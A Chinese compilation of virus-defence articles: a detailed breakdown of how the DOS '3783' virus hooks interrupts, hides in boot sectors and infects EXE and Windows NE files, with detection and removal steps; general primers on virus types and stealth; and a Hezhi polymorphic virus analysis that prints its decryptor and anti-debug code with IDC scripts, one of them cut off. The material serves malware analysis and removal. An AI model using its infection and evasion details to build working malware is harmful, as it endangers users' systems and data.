病毒在驻留时先截取 INT 2AH,在 INT 2AH 中检测到使用的堆栈为 MSDOS.SYS 堆栈段时,表示中断由 INT 21H 发出,这时由中断返回地址得到 MSDOS.SYS 程序段的段地址, 再查找以上几句指令并将 CALL SS:[05EA] 改为 CALL XXXX:053D 指向病毒代码,在完成修改、传染等功能后再转向原来的 INT 21H 执行。由于这一段代码在 INT 21H 的第一百 多句以后,当使用 DOS=HIGH 参数启动时这一段代码被移到 HMA 中, 所以该病毒的截取手段有很大的欺骗性,不但能骗过几乎所有内存监视程序,而且即使用手工反汇编 INT 21H中断程序都不一定能觉察到异常之处。

在截取 INT 13H 时,病毒先使用未公开中断 INT 2FH 的 1300H 功能来得到 DOS 内部设备驱动程序使用的原始 INT 13H 地址,然后在 BIOS 中随机寻找一个中断号大于 E0H 号的INT XX代码,将这个中断向量指向病毒的 INT 13H服务程序,然后将 DOS 保存的原始INT 13H 地址改成指向 BIOS 中的 INT XX 指令,使得在不同的计算机中指向病毒 程序的中断向量号都不相同。

2. 传染及其他部分

病毒截取 INT 13H 来传染磁盘的引导区,在进行普通的读写功能时,病毒并不传染,所以磁盘读写速度并不明显减慢,只有在对磁盘的引导区进行读写时,病毒才进行传染。 传染硬盘主引导区时,病毒隐藏在保留磁道 0 柱面 0 头第 5 扇区开始的 8 个扇区中,原引导记录被保存在 0 柱面 0 头第 13 扇区。一般软盘只有 80 个磁道,病毒在传染软 盘引导记录时,先格式化出一个第 81 磁道,再将自身隐藏于第 81 磁道 1 扇区开始的 8个扇区中,原引导记录被保存在第 81 磁道第 9 扇区。当有程序读取引导记录时, 病 毒将原引导记录读出送回。

病毒截取 INT 21H 来完成可执行文件的传染和一些欺骗功能,在 INT 21H 的 11H、12H、4EH、4FH 匹配文件寻找功能中,病毒返回正确的文件长度和时间,在 57H 读写文 件时间功能中,病毒返回正确的文件时间,在 3FH 读文件功能中, 如果读到文件被修改的部分,病毒将返回正确的内容,在 40H 写文件功能中,如果写已被传染的文件, 病毒 将文件复原,到以后关闭文件时重新传染。结果在应用软件看来,带毒文件没有任何异常之处。

当执行 INT 21H 的 3DH 打开文件、3EH 关闭文件、43H 文件属性功能、56H 文件改名、4BH 执行文件时,病毒对文件进行传染,传染后病毒附于文件尾部,文件开始指针被 指向病毒入口处。对于.COM 文件,病毒将文件第一句指令改为 JMP XXXX 跳转到病毒入口处,对于普通.EXE 文件,病毒将文件入口指针指向病毒入口处, 将堆栈指向病毒尾部 200H处。

下面详细分析病毒对 WINDOWS 可执行文件的修改,由于 WINDOWS 可执行文件的资料很少见,这里先简单介绍一下 WINDOWS 文件的结构:WINDOWS 文件由 DOS 执行部分和 WINDOWS 执行部分组成,DOS 部分只是简单的打印一句提示信息即退出,WINDOWS 部分以覆盖的方式位于文件后部。文件报头分两部分,第一部分为普通的.EXE 文件报头, 第 二部分为 “NE” 新格式可执行报头,有关部分说明如下:

普通 .EXE 文件报头 18H 字

重分配表偏移( WINDOWS 文件必须大于 0040H)

3CH 双字 “NE” 可执行报头在程序中的偏移

“NE” 可执行报头 00H 2 字节 “NE” 符号

(长 40H 字节) 14H 字 程序入口 IP

16H 字 程序入口段的段地址记录号

18H 双字 程序初始 SS:SP

1CH 字 段地址表中的记录数

22H 字 段地址表在程序中的偏移

32H 字节 段大小的计数单位 (移位值)

程序中所有的段都由段地址表中的一个记录来描述,包括段在程序中的偏移、段的大小、段的属性、段装入时要分配内存的大小,执行程序时,系统由入口段的记录号查段地 址表得出这个段在程序中的位置和大小,将代码装入内存,再由入口 IP开始执行,

段地址表中每个记录占用 8 个字节,格式如下:

00H 字 本段在程序中的偏移 (乘以计数单位)

02H 字 本段的长度 (单位:字节)

04H 字 本段的属性

06H 字 要分配的容量 (单位:字节)

病毒增加了一个段地址表记录来描述病毒代码段属性,在 WINDOWS 文件中, 段地址表一般紧接着 “NE” 报头存放,段地址表后面也紧接着其他数据,中间没有多余字节,所 以病毒将整个 “NE” 报头和段地址表前移了 8 字节,然后在空出的 8 字节中写下一个新的段地址表记录, 再将程序入口段记录号改到指向这个新的记录, 具体改动的数据有: 003CH处的 “NE” 报头偏移减 8,“NE” 报头中 16H 的入口段记录号改为病毒段,1CH 的段地址表记录数加 1,另外将 04H、24H、26H、28H、2AH 中其他相关表的偏移加 8。

2. 病毒源码:略

杀毒要点:

1.内存中病毒的检测

检测内存中的病毒可以用病毒自己的检测方法,设置 AX=187FH,BX=4453H 调用INT 21H,如果返回 BX=87A1H 表示内存中已有 3783 病毒,由于该病毒有很多欺骗手段,要检测引导区或文件上的病毒必须先用干净系统盘重新启动。

2.引导区中病毒的检测和清除

用磁盘编辑工具观察引导区,如果发现偏移 003EH 的内容为 FA 33 DB 8E D3 BC 00 7C 8E C4 表示引导区中已有病毒,对于硬盘,可用 CX=000DH,DX=0080H,INT 13H 读出原引导记录,对于软盘,可用 CX=5009H,DX=0000H,INT 13H 读出原引导记录, 再写入引导区就可以清除病毒,清除硬盘引导区的 3783 病毒也可以简单地用 FDISK /MBR 来完成。

3.可执行文件中病毒的检测和清除

3783 病毒在文件中保存了原文件的文件头,位置是病毒开始后偏移第 0E87H 处算起的 40H 字节,由于 3783 病毒代码不加密,所以检测和清除相对比较简单,对于 DOS 文件,可以用PCTOOLS 等软件查找字符串

0E 1F E8 00 00 5E 83 EE 05 56 06 B8 7F 18,

或用DEBUG 反汇编文件的前几句,如果发现字符串或发现以下指令:

XXXX:0100 E9YYYY JMP YYYY ;.COM 文件的第一句

...

XXXX:YYYY 0E PUSH CS ;.EXE 文件的第一句

1F POP DS

E80000 CALL ZZZZ

XXXX:ZZZZ 5E POP SI

83EE05 SUB SI,+05

56 PUSH SI

06 PUSH ES

B87F18 MOV AX,187F

BB5344 MOV BX,4453

CD21 INT 21 (DOS)

81FBA187 CMP BX,87A1

就可以确认文件已被 3783 病毒传染,手工消毒可以用以下办法:先记下找到字符串的位置,再将这个位置加上 0E87H,( DEBUG 中将地址 YYYY 加上 0E87H) 就是原文件头 40H 字节保存的地方,将这 40H字节写回文件头,再从找到字符串的地方将文件截断即完成消毒。

对于WINDOWS文件,由于病毒对文件修改较多,且数据结构复杂,一般不用手工消毒,在没有消毒程序的情况下,建议用以下办法:找一个压缩软件如 ARJ、LHA、RAR 等, 将文件改名为其他文件名如 A.EXE,再运行一个带毒文件使内存中驻留病毒,再将要消毒的文件打包,由于病毒执行了欺骗功能,所以由压缩软件读出并压进文件包的文件都是无毒的,用干净系统盘启动后,解压缩出来的文件就是无毒的了。在磁盘空间足够的情况下,也可以用这种方法全盘压缩,再全盘解压缩来消除全部病毒。编程自动消毒的步骤和算法如下:

⑴ 判断文件头 0018H 大于等于 40H 则继续 (表示有 “NE” 文件头)

⑵ 从文件头 003CH 取得偏移量读出 40H 字节,判断前 2 字节为 “NE” 则继续

⑶ 从 “NE” 报头中取相关数据计算入口段地址表记录偏移量,算法为:

偏移量=“NE”报头偏移量+[“NE”报头22H]+([“NE”报头16H]-1)*8

⑷ 读出 8 字节入口段的段地址表记录

⑸ 如果本记录后 6 字节为 7D 0E 80 01 7D 0E 表示有 3783 病毒

⑹ 病毒起始位置(即原文件长)=[段地址表记录00H]*( 1 SHL [“NE”报头32H] )

⑺ 恢复原入口段地址表记录号:病毒中第 0E83H =>“NE”报头16H

恢复原入口 IP:病毒中第 0E85H =>“NE”报头14H

恢复原段地址表记录数:“NE”报头 1CH 减 1

⑻ 将恢复的 “NE” 报头写回,将文件从病毒开始处截断

到此消毒已经完成。在消毒中省略了将 “NE”可执行报头及段地址表后移 8 字节的步骤,这并不影响文件的执行,如果一定要将文件完全复原,还要加上以下部分:

⑼ 将 “NE”报头 04H、24H、26H、28H、2AH 处的字及文件头 3CH 处的双字减 8

⑽ 将 “NE”报头开始到段地址表结束为止的数据后移 8 字节

将文件头 3CH 处的新数据写回

4.可执行文件的免疫

病毒的传染标记为文件时间加上 100 年,如果病毒检测到文件时间大于 2080 年就认为文件已经感染,所以可以用工具软件修改文件时间,将文件时间加上 1就可完成免疫。

5. 消毒程序参考

kv.asm 我编写的一个全盘搜索的程序 k_1150.asm 杀 1150 病毒的子模块 k_monkey.asm 杀 Monkey 病毒的子模块 k_3783.asm 杀 3783 病毒的子模块 scanf.asm 公用输入模块 printf.asm 公用输出模块

篇6:病毒的危害病毒防治

病毒的危害

计算机病毒会感染、传播,但这并不可怕,可怕的是病毒的破坏性,其主要危害有:

1、攻击硬盘主引导扇区、boot扇区、fat表、文件目录,使磁盘上的信息丢失。

2、删除软盘、硬盘或网络上的可执行文件或数据文件,使文件丢失。

3、占用磁盘空间。

4、修改或破坏文件中的数据,使内容发生变化。

5、抢占系统资源,使内存减少。

6、占用cpu运行时间,使运行效率降低。

7、对整个磁盘或扇区进行格式化。

8、破坏计算机主板上bios内容,使计算机无法工作,

9、破坏屏幕正常显示,干扰用户的操作。

10、破坏键盘输入程序,使用户的正常输入出现错误。

11、攻击喇叭,会使计算机的喇叭发出响声。有的病毒作者让病毒演奏旋律优美的世界名曲,在高雅的曲调中去杀戮人们的信息财富。有的病毒作者通过喇叭发出种种声音。

12.干扰打印机,假报警、间断性打印、更换字符。

关 键 字:病毒防治

篇7:病毒防治方法探索

在网络的使用中可能出现断网或者网络不安全,这将会导致我们的一些重要资料的损失,严重影响正常的工作运转。 详细内容请看下文病毒防治方法探索。

由此可见,计算机网络安全的维护,对于保证我们的正常生活工作,以及社会的稳定具有相当重要的意义。它可以保证人们日常生活的隐私安全,保证工作中的有效数据被安全维护,这样也保证人们的日常生活工作以及社会的稳定健康发展,不受外界不良因素的影响。

计算机病毒

随着计算机的不断普及,计算机病毒也层出不穷,黑色星期五、熊猫烧香等较有影响力的病毒,他们都严重危害了计算机的安全健康运行。计算机病毒其突出特点:一是极具隐藏性,在尚无人察觉到的情况下,对计算机进行破坏,发现时,已造成相当大的危害;二是可快速扩张繁殖,病毒感染之后,电脑会很快“发病”;三是传染的途径广,可以通过多种途径,如无限网络、可移动的设备以及系统的硬件等会破坏计算机安全,高速传染;四是较长时间的潜伏病毒可以长时间地潜伏在计算机中而不造成任何影响,等到适时时机,强烈爆发产生相当大的破坏性;五是强大的破坏力,计算机病毒一旦爆发,较轻的损失是计算机系统不正常,严重是系统的磁盘会被完全破坏,甚至是整个计算机网络的瘫痪。

病毒防治方法探究

管理方面的防治

(1)坚决杜绝使用非正规途径出产的软件。在一些公共场所上网时,一定要对可移动磁盘进行检测,不经检测禁止插入计算机,不能在计算机上操作网络游戏。网络游戏所运行的环境复杂多样,被病毒感染的可能性较大。

(2)对计算机的使用应该有严格的权限。

(3)对计算机网络系统中无论是移动盘还是其他固定在计算机中存在的盘要及时进行保护,防止出现数据盘中的信息被病毒破坏。

篇8:病毒的特性病毒防治

病毒的特性

传染性

计算机病毒的传染性是指病毒具有把自身复制到其他程序中的特性,计算机病毒是一段人为编制的计算机程序代码,这段程序代码一旦进入计算机并得以执行,它会搜寻其他符合其传染条件的程序或存储介质,确定目标后再将自身代码插入其中,达到自我繁殖的目的。只要一台计算机染毒,如不及时处理,那么病毒会在这台机子上迅速扩散,其中的大量文件(一般是可执行文件)会被感染。而被感染的文件又成了新的传染源,再与其他机器进行数据交换或通过网络接触,病毒会继续进行传染。

正常的计算机程序一般是不会将自身的代码强行连接到其它程序之上的。而病毒却能使自身的代码强行传染到一切符合其传染条件的未受到传染的程序之上。计算机病毒可通过各种可能的渠道,如软盘、计算机网络去传染其它的计算机。当你在一台机器上发现了病毒时,往往曾在这台计算机上用过的软盘已感染上了病毒,而与这台机器相联网的其它计算机也许也被该病毒侵染上了。是否具有传染性是判别一个程序是否为计算机病毒的最重要条件。

非授权性

一般正常的程序是由用户调用,再由系统分配资源,完成用户交给的任务。其目的对用户是可见的、透明的。而病毒具有正常程序的一切特性,它隐藏再正常程序中,当用户调用正常程序时窃取到系统的控制权,先于正常程序执行,病毒的动作、目的对用户时未知的,是未经用户允许的。

隐蔽性

病毒一般是具有很高编程技巧、短小精悍的程序。通常附在正常程序中或磁盘较隐蔽的地方,也有个别的以隐含文件形式出现。目的是不让用户发现它的存在。如果不经过代码分析,病毒程序与正常程序是不容易区别开来的。一般在没有防护措施的情况下,计算机病毒程序取得系统控制权后,可以在很短的时间里传染大量程序。而且受到传染后,计算机系统通常仍能正常运行,使用户不会感到任何异常。试想,如果病毒在传染到计算机上之后,机器马上无法正常运行,那么它本身便无法继续进行传染了。正是由于隐蔽性,计算机病毒得以在用户没有察觉的情况下扩散到上百万台计算机中。

大部分的病毒的代码之所以设计得非常短小,也是为了隐藏。病毒一般只有几百或1k字节,而pc机对dos文件的存取速度可达每秒几百kb以上,所以病毒转瞬之间便可将这短短的几百字节附着到正常程序之中,使人非常不易被察觉。

潜伏性

大部分的病毒感染系统之后一般不会马上发作,它可长期隐藏在系统中,只有在满足其特定条件时才启动其表现(破坏)模块,

只有这样它才可进行广泛地传播。如“peter-2”在每年2月27日会提三个问题,答错后会将硬盘加密。著名的“黑色星期五”在逢13号的星期五发作。国内的“上海一号”会在每年三、六、九月的13日发作。当然,最令人难忘的便是26日发作的cih。这些病毒在平时会隐藏得很好,只有在发作日才会露出本来面目。

破坏性

任何病毒只要侵入系统,都会对系统及应用程序产生程度不同的影响。轻者会降低计算机工作效率,占用系统资源,重者可导致系统崩溃。由此特性可将病毒分为良性病毒与恶性病毒。良性病度可能只显示些画面或出点音乐、无聊的语句,或者根本没有任何破坏动作,但会占用系统资源。这类病毒较多,如:genp、小球、w-boot等。恶性病毒则有明确得目的,或破坏数据、删除文件或加密磁盘、格式化磁盘,有的对数据造成不可挽回的破坏。这也反映出病毒编制者的险恶用心。

不可预见性

从对病毒的检测方面来看,病毒还有不可预见性。不同种类的病毒,它们的代码千差万别,但有些操作是共有的(如驻内存,改中断)。有些人利用病毒的这种共性,制作了声称可查所有病毒的程序。这种程序的确可查出一些新病毒,但由于目前的软件种类极其丰富,且某些正常程序也使用了类似病毒的操作甚至借鉴了某些病毒的技术。使用这种方法对病毒进行检测势必会造成较多的误报情况。而且病*技术也在不断的提高,病毒对反病毒软件永远是超前的。

关 键 字:病毒防治

篇9:什么是(电脑)病毒病毒防治

什么是(电脑)病毒

“计算机病毒”与医学上的“病毒”不同,它不是天然存在的,是某些人利用计算机软、硬件所固有的脆弱性,编制成的具有特殊功能的程序,通常人们称之为电脑病毒,1994年2月18日,我国正式颁布实施了《中华人民共和国计算机信息系统安全保护条例》,在《条例》第二十八条中明确指出:“计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。”

计算机病毒之所以被称为“病毒”,主要是由于它有类似自然界病毒的某些特征。其主要特征有:(1)隐蔽性,指病毒的存在、传染和对数据的破坏过程不易为计算机操作人员发现;寄生性,计算机病毒通常是依附于其它文件而存在的;(2)传染性,指计算机病毒在一定条件下可以自我复制,能对其它文件或系统进行一系列非法操作,并使之成为一个新的传染源。这是病毒的最基本特征;(3)触发性,指病毒的发作一般都需要一个激发条件,可以是日期、时间、特定程序的运行或程序的运行次数等等,如臭名昭著的cih病毒就发作于每个月的26日;(4)破坏性:指病毒在触发条件满足时,立即对计算机系统的文件、资源等运行进行干扰破坏;(5)不可预见性,指病毒相对于防毒软件永远是超前的,理论上讲,没有任何杀毒软件能将所有的病毒杀除,

从运作过程来看,计算机病毒可以分为三个部分,即病毒引导程序、病毒传染程序、病毒病发程序。从破坏程度来看,计算机病毒可分为良性病毒和恶性病毒;根据传播方式和感染方式,可分为引导型病毒、分区表病毒、宏病毒、文件型病毒、复合型病毒等。

计算机病毒的危害主要表现在三大方面,一是破坏文件或数据,造成用户数据丢失或毁损;二是抢占系统网络资源,造成网络阻塞或系统瘫痪;三是破坏操作系统等软件或计算机主板等硬件,造成计算机无法启动。

关 键 字:病毒防治

篇10:病毒的发展病毒防治

病毒的发展

当前计算机病毒的最新发展:

1、病毒的演化,任何程序和病毒都一样,不可能十全十美,所以一些人还在修改以前的病毒,使其功能更完善,使杀毒软件更难检测,

2、在时下操作系统抢占市场的时候,各种操作系统应运而生,其它操作系统上的病毒也千奇百怪。

3、一些新病毒变得越来越隐蔽。

4、多变型病毒也称变形发动机,是新型计算机病毒。这类病毒采用复杂的密码技术,在感染宿主程序时,病毒用随机的算法对病毒程序加密,然后放入宿主程序中,由于随机数算法的结果多达天文数字,所以,放入宿主程序中的病毒程序每次都不相同,

这样,同一种病毒,具有多种形态,每一次感染,病毒的面貌都不相同,犹如一个人能够“变脸”一样,检测和杀除这种病毒非常困难。

5、即然杀病毒软件是杀病毒的,而就有人却在搞专门破坏杀病毒软件的病毒,一是可以避过杀病毒软件,二是可以修改杀病毒软件,使其杀毒功能改变。

关 键 字:病毒防治

篇11:什么是木马,如何防治病毒防治

什么是木马,如何防治?

木马(trojan)这个名字来源于古希腊传说,它是指通过一段特定的程序(木马程序)来控制另一台计算机,木马通常有两个可执行程序:一个是客户端,即控制端,另一个是服务端,即被控制端。木马的设计者为了防止木马被发现,而采用多种手段隐藏木马。木马的服务一旦运行并被控制端连接,其控制端将享有服务端的大部分操作权限,例如给计算机增加口令,浏览、移动、复制、删除文件,修改注册表,更改计算机配置等。

随着病毒编写技术的发展,木马程序对用户的威胁越来越大,尤其是一些木马程序采用了极其狡猾的手段来隐蔽自己,使普通用户很难在中毒后发觉。

防治木马的危害,应该采取以下措施:

第一,安装杀毒软件和个人防火墙,并及时升级,

第二,把个人防火墙设置好安全等级,防止未知程序向外传送数据。

第三,可以考虑使用安全性比较好的浏览器和电子邮件客户端工具。

第四,如果使用ie浏览器,应该安装卡卡安全助手,防止恶意网站在自己电脑上安装不明软件和浏览器插件,以免被木马趁机侵入。

关 键 字:病毒防治

篇12:病毒的命名病毒防治

病毒的命名

对病毒命名,各个反毒软件亦不尽相同,有时对一种病毒不同的软件会报出不同的名称,如“spy”病毒,kill起名为spy,kv300则叫“tpvo-3783”。给病毒起名的方法不外乎以下几种:

按病毒出现的地点,如“zhenjiang_jes”其样本最先来自镇江某用户。按病毒中出现的人名或特征字符,如“zhangfang―1535”,“disk killer”,“上海一号”。按病毒发作时的症状命名,如“火炬”,“蠕虫”,

按病毒发作的时间,如“november 9th”在11月9日发作。有些名称包含病毒代码的长度,如“pixel.xxx”系列,“ko.xxx”等体。

关 键 字:病毒防治

篇13:病毒的分类病毒防治

病毒的分类

一. 传统开机型病毒:

纯粹的开机型病毒多利用软碟开机时侵入电脑系统, 然後再伺机感染其他的软碟或硬碟, 例如∶stoned 3 ( 米开朗基罗). disk killer. head eleven.目前市面上大多数的防毒. 扫毒程式均可预防此类病毒, 一般电脑用户对於此类病毒最好的预防方式, 即是避免使用外来软碟开机.

以1990年以後出品的ami bios而言, 就已经提供了设定由硬碟开机的功能, 足可令电脑用户避开此类病毒的侵扰.使用者於电脑开机时, 压或 键即进入bios的设定, 其中选择 将游标移至选项, 设定, 即完成了由硬碟开机的设定.

二. 隐形开机型病毒:

此类病毒的开山始祖, 首推(c)brain, 凡是为此病毒感染之系统, 再行检查开机区(partition table & boot sector), 得到的将是正常的磁区资料, 就好像没有中毒一般, 此型病毒较不易为一般扫毒软体所查觉, 而防毒软体对於未知的此型病毒,必须具有辨认磁区资料真伪的能力.

此类病毒已出现的尚有fish. november 4.

三. 档案感染型兼开机型病毒:

尽管防毒观念中强调, 避免使用外来的软碟开机, 但是仍仅能预防上述两种开机型病毒, 档案感染型兼开机型病毒则是利用档案感染时伺机感染开机区, 因而具有双重的行动能力, 此型较著名的病毒有 cancer. hammer v , 目前市面上的防毒扫毒软体多能侦测出此类病毒.

四. 目录型病毒:

本型病毒之感染方式非常独特, dir2即其代表, 此类病毒仅修改目录区( root ),便可达到感染的目的.由於其修改目录区混淆dos 的档案作业, 并不须去感染真正的档案, 可想而知病毒作者的功力相当高.而市面上之防毒软体皆能防止此病毒, 但面对此型之新病毒, 则仍有待考验.

五. 传统档案型病毒:

档案感染型病毒最大的特徵, 便是将病毒本身植入档案, 使档案膨胀, 以达到散播传染的目的.此型病毒的代表有 13 friday. sunday.除扫瞄式防毒软体不具侦测未来毒之能力外, 其它如加值总和式. 移植检查式. 人工智慧式皆能顺利栏截.

六. 千面人病毒:

千面人病毒乃指具有自我编码能力的病毒, 1701下雨病毒. flip. 4096为主要的代表, 此种病毒编码的目的, 在使其感染的每一个档案, 看起来皆不一样, 干扰扫毒软体的侦测, 不过千面人病毒再怎么会编码, 仍会留下一段完全相同的程式开头, 所以各类侦防病毒之软体, 均能利用其留下的这个小辫子, 将其绳之以法.

七. 突变引擎:

有鉴於千面人病毒一个接一个被逮著, 便有人写出一种突变式病毒, 使原本千面人病毒无法解决的程式开头相同的问题, 加以克服, 并写成 obj副程式, 供人制造此型病毒, 此即 mctation engine. polymorphic engine, 但是尽管如此, 这型病毒仅干扰了扫毒式软体, 对其它方式之防毒软体并没有太大的影响.

八. 隐形档案型病毒:

有越来越多的迹象显示, 隐形感染可避开许多防毒软体的侦测, 因为隐形病毒能直接植入dos 的作业环境中, 当外部程式呼叫dos 中断服务时, 便同时执行到病毒本身,使得病毒能从容地将受其感染的档案, 粉饰成正常无毒的样子.

此型病毒有4096. 512 及最近流行的dreaming king ( 即第三波129期介绍的 t4virion病毒 ), 其成功的取得dos 的原始中断, 令各种加值总和式. 移植检查式之防毒软硬体毫无感觉,

关 键 字:病毒防治

篇14:混合型病毒原理病毒防治

所谓混合型,即既能感染引导区,又能感染文件的病毒,但并非简单 的将文件型病毒和引导型病毒简单的加在一起,其中有一个转换过程,这是最关键的。

一般采取以下手法:文件中的病毒执行时将病毒写入引导区,这时很容易理解的。染毒硬盘启动时,用引导型病毒的方法驻留内存, 但此时dos并未加载,无法修改int21,也就无法感染文件,可以用这样的 办法,修改int8,保存int 21目前的地址,用int 8服务程序监测int 21 的地址是否改变,若改变则说明dos已加载,则可修改int 21指向病毒传染 段,

以上是混合型病毒关键之处。

关 键 字:病毒防治

篇15:病毒隐藏技术病毒防治

病毒隐藏技术

任何病毒都希望在被感染的计算机中隐藏起来不被发现,而这也是定义一个病毒行为的主要方面之一,因为病毒都只有在不被发现的情况下,才能实施其破坏行为,为了达到这个目的,许多最新发现的病毒使用了各种不同的技术来躲避反 病毒软件的检验。而这种技术与最新的反病毒软件所使用的技术相似(本来就相同,大家是兄弟,病毒与杀毒软件,彼此彼此)。

这次我们将讨论一些病毒所使用的最基本的隐藏技术,以后还将讨论一些较新较复杂的技术。

一个最常用最知名的技术被称为“秘密行动”法,这个技术的关键就是把病毒留下的有可能被立即发现的痕迹掩盖掉。 这些痕迹包括被感染文件莫名其妙增大或是文件建立时间的改变等。由于它们太明显,很容易被用户发现,所以很多病毒 的制造者都会使用一种技术来截取从磁盘上读取文件的服务程序,通过这种技术就能使得已被改动过的文件大小和创建时 间看上去与改动前一样,这样就能骗过使用者使他们放松警惕,

在“秘密行动”法问世以后,由于常驻内存反病毒软件的出现,一种名为“钻隧道”的方法又被开发了出来。

常驻内存反病毒软件能防止病毒对计算机的破坏,它们能阻止病毒向磁盘的引导区和其它敏感区写入数据,以及实施 对应用程序的修改和格式化硬盘等破坏活动。而“钻隧道”法能直接取得并使用为系统服务的原始内存地址,由此绕开常 驻内存的反病毒过滤器,这样病毒感染文件的时候就不会被反病毒软件发现。

通过以上的论述,也许大家就能了解安装集成了最新技术的反病毒软件的重要性。

关 键 字:病毒防治

篇16:hezhi病毒分析报告病毒防范

作者:haiwei/CVC.GB

Hezhi病毒是去年分析一个病毒,下面是分析报告,由于xxx原因杀毒程序不能公布(其实分析报告应该写得比较清楚了,哈)

写杀变形病毒的程序, 首先是要解决怎么查这个病毒(把病毒的变形引擎分析透彻一点,它怎么变你就怎么查),然后才是杀(好像是废话:))

hezhi病毒分析报告

haiwei/CVC.GB

关键字:

变形\病毒\感染\AntiDebug

分析工具:

OD(动态)\IDA(静态)

分析目标:

1.样本MD5值:a7be1177766cec09d7e914ea7985c723

2.病毒名称:Win32.Hezhi

难度:中

病毒简介:

1.这是一个基于poly技术的病毒,病毒代码经过五层加密,且key为动态的.

2.感染在宿主程序的节空隙,如果没有足够的空隙,则增加最后一节的节大小.

3.加密原宿主代码.

4.病毒代码中有多处SEH陷井来反动态调试

病毒执行流程:

1.第一次解密

004087D3 0F 84 87 EF FF FF       jz  near ptr loc_40775F+1

.text:004087D9 50            push eax

.text:004087DA E8 00 00 00 00        call $+5

.text:004087DF 58            pop eax

.text:004087E0 58            pop eax

.text:004087E1 BE 00 00 09 02        mov esi, 2090000h \\关键

.text:004087E6 50            push eax

.text:004087E7 13 C3           adc eax, ebx

.text:004087E9 1B C3           sbb eax, ebx

.text:004087EB 58            pop eax

.text:004087EC B8 0C 03 00 00        mov eax, 30Ch

.text:004087F1 57            push edi

.text:004087F2 F7 D7           not edi

.text:004087F4 0F 03 F8          lsl edi, eax

.text:004087F7 5F            pop edi

.text:004087F8 81 C0 3A 2E 00 00       add eax, 2E3Ah

.text:004087FE 57            push edi

.text:004087FF F7 D7           not edi

.text:00408801 0F 03 F8          lsl edi, eax

.text:00408804 5F            pop edi

.text:00408805 C1 C6 1D          rol esi, 1Dh  \\经过这条指令Esi为待解密代码的

\\起始地址

.text:00408808 51            push ecx

.text:00408809 81 C1 19 39 D0 DB       add ecx, 0DBD03919h

.text:0040880F 59            pop ecx

.text:00408810

.text:00408810        loc_408810:         ; CODE XREF: start+D0j

.text:00408810 81 34 30 DA 0C 03 D2      xor dword ptr [eax+esi], 0D2030CDAh \\Key

.text:00408817 F5            cmc

.text:00408818 F5            cmc

.text:00408819 90            nop

.text:0040881A 90            nop

.text:0040881B 48            dec eax

.text:0040881C 50            push eax

.text:0040881D E8 00 00 00 00        call $+5

.text:00408822 58            pop eax

.text:00408823 58            pop eax

.text:00408824 7D EA           jge short loc_408810 \\循环

.text:00408826 57            push edi

.text:00408827 F7 D7           not edi

.text:00408829 0F 03 F8          lsl edi, eax

.text:0040882C 5F            pop edi

.text:0040882D FF E6           jmp esi \\跳到已解密代码执行

下面为小弟写的IDC解密脚本:

auto RegEsi;

auto Key;

auto RegEax;

RegEsi=0x41;

Key=0xd2030cda;

RegEax=0x3146;

for (;RegEax>=0;RegEax--)

{

Data=Dword(RegEax+RegEsi)^Key;

PatchDword(RegEax+RegEsi,Data);

}

在OD里可以把代码直接拉到JMP XX处 F4(XX可变),在这个例子样本中为JMP Esi

2.第二次解密

JMP Esi来到412000,该处代码如下

0041 50     PUSH EAX

0041 E8 00000000  CALL CLSPACK1.0041

00412008 58     POP EAX

0041 83C0 1A   ADD EAX,1A

0041200C 50     PUSH EAX                ; CLSPACK1.00412022

0041200D 64:67:FF36 0000 PUSH DWORD PTR FS:[0] \\这里很明显是一个SEH陷井

0041 64:67:8926 0000 MOV DWORD PTR FS:[0],ESP

0041 B8 FFFFFFFF  MOV EAX,-1

0041201E FFE0    JMP EAX       \\故意产生异常

0041 FFE0    JMP EAX

00412022 64:67:A1 0000 MOV EAX,DWORD PTR FS:[0] \\在这个位置F2下断点,F9,出现异常

\\出现异常后按shift+F9到412022断点处停下

00412027 8B20    MOV ESP,DWORD PTR DS:[EAX]

00412029 64:67:8F06 0000 POP DWORD PTR FS:[0]

0041202F 58     POP EAX        \\这几条指令在恢复SEH

00412030 58     POP EAX

00412031 60     PUSHAD

00412032 E8 00000000  CALL CLSPACK1.00412037

00412037 58     POP EAX

00412038 BE 82104000  MOV ESI,CLSPACK1.00401082

0041203D BB 37104000  MOV EBX,CLSPACK1.00401037

00412042 2BF3    SUB ESI,EBX

00412044 03F0    ADD ESI,EAX       \\Esi为解密起始地址

00412046 BB C4300000  MOV EBX,30C4       \\解密长度

0041204B 81341E 30C87B80 XOR DWORD PTR DS:[ESI+EBX],807BC830 \\Key

00412052 9C     PUSHFD

省略若干垃圾指令

0041207D 9D     POPFD

0041207E 4B     DEC EBX

0041207F ^7D CA    JGE SHORT CLSPACK1.0041204B \\循环

00412081 61     POPAD        \\在OD中把光标停在这F4

下面是第二次解密IDC脚本:

auto RegEsi;

auto Key;

auto RegEax;

auto Data;

RegEsi=0x412082;

Key=0x807bc830;

RegEax=0x30c4;

for (;RegEax>=0;RegEax--)

{

Data=Dword(RegEax+RegEsi)^Key;

PatchDword(RegEax+RegEsi,Data);

}

3.第三次解密

00412089 BE CC104000  MOV ESI,<&KERNEL32.RtlUnwind>

0041208E BB 88104000  MOV EBX,<&KERNEL32.ExitProcess>

00412093 2BF3    SUB ESI,EBX

00412095 03F0    ADD ESI,EAX     \\解密起始地址

00412097 B9 1F0C0000  MOV ECX,0C1F     \\长度

0041209C 8B06    MOV EAX,DWORD PTR DS:[ESI]

0041209E F7D0    NOT EAX       \\解密

004120A0 8906    MOV DWORD PTR DS:[ESI],EAX

004120A2 83C6 04   ADD ESI,4

省略若干垃圾代码

004120C9 ^E2 D1    LOOPD SHORT CLSPACK1.0041209C

004120CB 61     POPAD        \\光标停在这,F4

下面是第三次解密的IDC脚本:

auto RegEsi;

auto RegEax;

auto i;

auto Data;

RegEsi=0x4120cc;

RegEax=0xc1f;

for (i=0;i

{

Data=~Dword(i+RegEsi);

PatchDword(i+RegEsi,Data);

}

4.第四解密

004120D8 64:67:FF36 0000 PUSH DWORD PTR FS:[0]

004120DE 64:67:8926 0000 MOV DWORD PTR FS:[0],ESP \\又是一个SEH陷井

004120E4 B0 88    MOV AL,88

004120E6 02C0    ADD AL,AL

004120E8 CE     INTO       \\产生异常

004120E9 FFE0    JMP EAX

004120EB 64:67:A1 0000 MOV EAX,DWORD PTR FS:[0]

004120F0 8B20    MOV ESP,DWORD PTR DS:[EAX]

004120F2 64:67:8F06 0000 POP DWORD PTR FS:[0]

004120F8 58     POP EAX

004120F9 58     POP EAX

004120FA E8 00000000  CALL CLSPACK1.004120FF

